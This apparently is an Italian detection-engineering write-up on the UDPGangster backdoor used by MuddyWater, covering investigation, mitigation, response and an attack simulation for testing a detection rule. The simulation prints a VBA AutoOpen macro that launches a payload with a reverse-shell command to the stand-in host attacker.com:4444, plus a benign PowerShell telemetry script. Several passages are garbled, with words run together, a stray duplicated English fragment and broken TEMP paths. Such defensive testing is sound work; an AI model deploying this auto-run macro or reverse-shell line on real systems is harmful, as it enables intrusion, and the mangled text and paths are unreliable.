Attacchi UDPGangster si Diffondono in Diversi Paesi

Sommario

UDPGangster è un backdoor basato su UDP sfruttato dal gruppo di minacce MuddyWater per controllare a distanza host Windows. Il compromesso iniziale avviene tramite un documento Word dannoso che utilizza macro VBA per estrarre e avviare il payload. Il malware esegue controlli anti-analisi estesi e mantiene la persistenza copiandosi nella directory AppData dell’utente e creando una chiave Run. Recenti campagne sono state osservate prendere di mira utenti in Turchia, Israele e Azerbaigian.

Indagine

I FortiGuard Labs hanno esaminato le email di phishing, la macro VBA incorporata, l’eseguibile estratto e le sue tecniche di persistenza. Hanno estratto indicatori come percorsi di file, voci di registro Run, nomi di mutex e infrastrutture C2 associate. Correlando indirizzi IP, domini e percorsi PDB, gli analisti hanno potuto collegare questa attività a operazioni precedenti del gruppo MuddyWater.

Mitigazione

I passaggi di mitigazione includono l’applicazione del blocco delle macro o la formazione robusta degli utenti per prevenire l’esecuzione delle macro, e la distribuzione di difese endpoint che osservano la scrittura di file sospetti in cartelle pubbliche o di profilo utente, oltre a modifiche alle chiavi di registro Run. I team di rete dovrebbero monitorare il traffico UDP anomalo sulla porta 1269 e bloccare gli indirizzi IP e i domini noti dannosi per interrompere i canali C2.

Risposta

Quando viene rilevata attività UDPGangster, isolare l’endpoint impattato, raccogliere memoria volatile e immagini del disco completo, e cercare il binario del backdoor e artefatti correlati. Bloccare l’infrastruttura C2 identificata, eseguire un’analisi forense approfondita per scoprire altri sistemi compromessi e aggiornare le firme di sicurezza per rilevare sia i documenti macro dannosi che il payload del backdoor.

Esecuzione della Simulazione

Pre-requisito: Il Controllo Pre-voli di Telemetria & Baseline deve essere superato.

Scopo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione & Comandi Attacco:
  Un attaccante consegna un documento Word dannoso contenente una macro VBA. La macro chiama l’API di WindowsCreateProcessAper generarecmd.exee eseguire il payload UDPGangster (udp_gangster.exe). Il payload stabilisce una reverse shell al server C2 dell’attaccante. Poiché la macro passa esplicitamente la stringa “CreateProcessA” e il letterale nel comando, la regola di rilevamento corrisponderà.cmd.exe in the command line, the detection rule will match.

  1. Macro VBA (semplificata)– dimostra la chiamata API:

     Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
         (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
          ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
          ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
          ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
     
     Sub AutoOpen()
         Dim cmdLine As String
         cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
         Dim si As STARTUPINFO
         Dim pi As PROCESS_INFORMATION
         Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
     End Sub

  2. Distribuire la macro, aprire il documento e lasciare che la macro esegua. L’evento di creazione del processo risultante conterrà:

     CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"

• Script di Test di Regressione:Il seguente script PowerShell riproduce esattamente la telemetria senza richiedere un documento Word. Chiama l’API Win32 nativaCreateProcessAviaAdd-Type.

  # Test di regressione: chiamata diretta CreateProcessA con cmd.exe
  $source = @"
  using System;
  using System.Runtime.InteropServices;
  
  public class NativeMethods {
      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
      public struct STARTUPINFO {
          public int cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public uint dwX;
          public uint dwY;
          public uint dwXSize;
          public uint dwYSize;
          public uint dwXCountChars;
          public uint dwYCountChars;
          public uint dwFillAttribute;
          public uint dwFlags;
          public short wShowWindow;
          public short cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
  
      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public uint dwProcessId;
          public uint dwThreadId;
      }
  
      [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
      public static extern bool CreateProcessA(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
  }
  "@
  
  Add-Type $source
  
  $si = New-Object NativeMethods+STARTUPINFO
  $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
  $pi = New-Object NativeMethods+PROCESS_INFORMATION
  
  $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
  
  $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
  
  if (-not $result) {
      Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
  } else {
      Write-Host "CreateProcessA succeeded, command line logged."
  }

• Comandi di Pulizia:Rimuovere l’artefatto creato durante la simulazione.

  # Rimuovere il file di log temporaneo generato dalla simulazione
  Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue